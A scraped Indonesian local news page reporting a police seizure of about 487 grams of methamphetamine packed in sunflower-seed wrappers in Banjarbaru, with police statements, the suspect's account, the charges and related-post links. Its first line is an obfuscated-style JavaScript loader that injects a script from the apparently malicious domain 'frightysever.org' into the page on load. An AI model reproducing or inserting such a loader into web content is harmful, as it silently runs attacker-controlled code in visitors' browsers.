(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

487,41 Gram Sabu dalam Kemasan Kwaci Diamankan Satresnarkoba Polres Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Sat Resnarkoba Polres Banjarbaru berhasil mengamankan pengedar narkotika jenis sabu dengan berat 487,41 gram terbungkus kemasan kuaci.

Kapolres Banjarbaru AKBP Nur Khamid mengatakan, temuan ini berawal dari laporan masyarakat kemudian dilakukan penyidikan. Sehingga pada Senin (18/10/2021), berhasil mengaman HE di depan rumah makan siap saji di Jalan Golf Landasan Ulin.

“Ini merupakan temuan terbesar kedua Satresnarkoba Polres Banjarbaru, pada bulan Maret berhasil mengungkap 24 kilogram narkoba dan dibulan Oktober 4 ons 87, 41 gram,” ungkapnya, Senin (25/10/2021).

 

 

Baca juga: Tak Kuat Nanjak, Truk Fuso Mundur Kena Agya dan Scoopy, Pemotor Tewas

Polres Banjarbaru mengamankan tersangka pengedar narkoba jenis sabu. Foto: ibnu/kanalkalimantan

AKBP Nur Khamid menambahkan, tersangka merupakan penjaga gudang sebagai penerima barang dengan sistem cara menunggu di pinggir jalan kemudian menerima dan disimpan. Dalam pengedarannya tersangka menunggu instruksi dari atasan.

Diungkap Kapolres, kalau jaringan ini merupakan jaringan Malaysia, Samarinda, dan Banjarmasin. Dengan diungkapkannya narkoba sebanyak 487, 41 gram kalau diestimasikan harganya mencapai Rp779 juta dan berhasil menyelamatkan 1.949 jiwa.

“Jajaran Satresnarkoba Polres Banjarbaru akan terus melakukan pengejaran mengenai kasus ini,” ungkapnya.

Baca juga: Jadi Syarat Penerbangan, YLKI: Turunkan Harga Tes PCR hingga Rp200 Ribuan!

Kapolres menghimbau kepada seluruh masyarakat apabila ada temuan mengenai pengedaran narkoba untuk segera dilaporkan ke Polres Banjarbaru.

Sementara itu HE mengatakan menerima upah tergantung dari barang yang dia bawa dengan estimasi paling sedikit Rp2 juta.

Saya mengenal dengan atasan berteman di tempat tongkrongan dan baru saja melakukan ini di Banjarbaru,” dalihnya.

Polres Banjarbaru kembali mengamankan tersangka pengedar narkoba jenis sabu.  Foto: ibnu/kanalkalimantan

Baca juga: PAUD Omah Kepompong, Sekolah Anak Bertajuk Outdoor di Banjarbaru

HE terancam pasal 114 ayat 2 dengan hukuman pidana mati, pidana seumur hidup, dan pidana penjara paling singkat 6 tahun, kedua Pasal 112 ayat 2 dengan ancaman hukuman penjara seumur hidup paling singkat 5 tahun dan paling lama 20 tahun. (Kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell


Risa

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

3 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

3 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

4 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

10 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

12 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.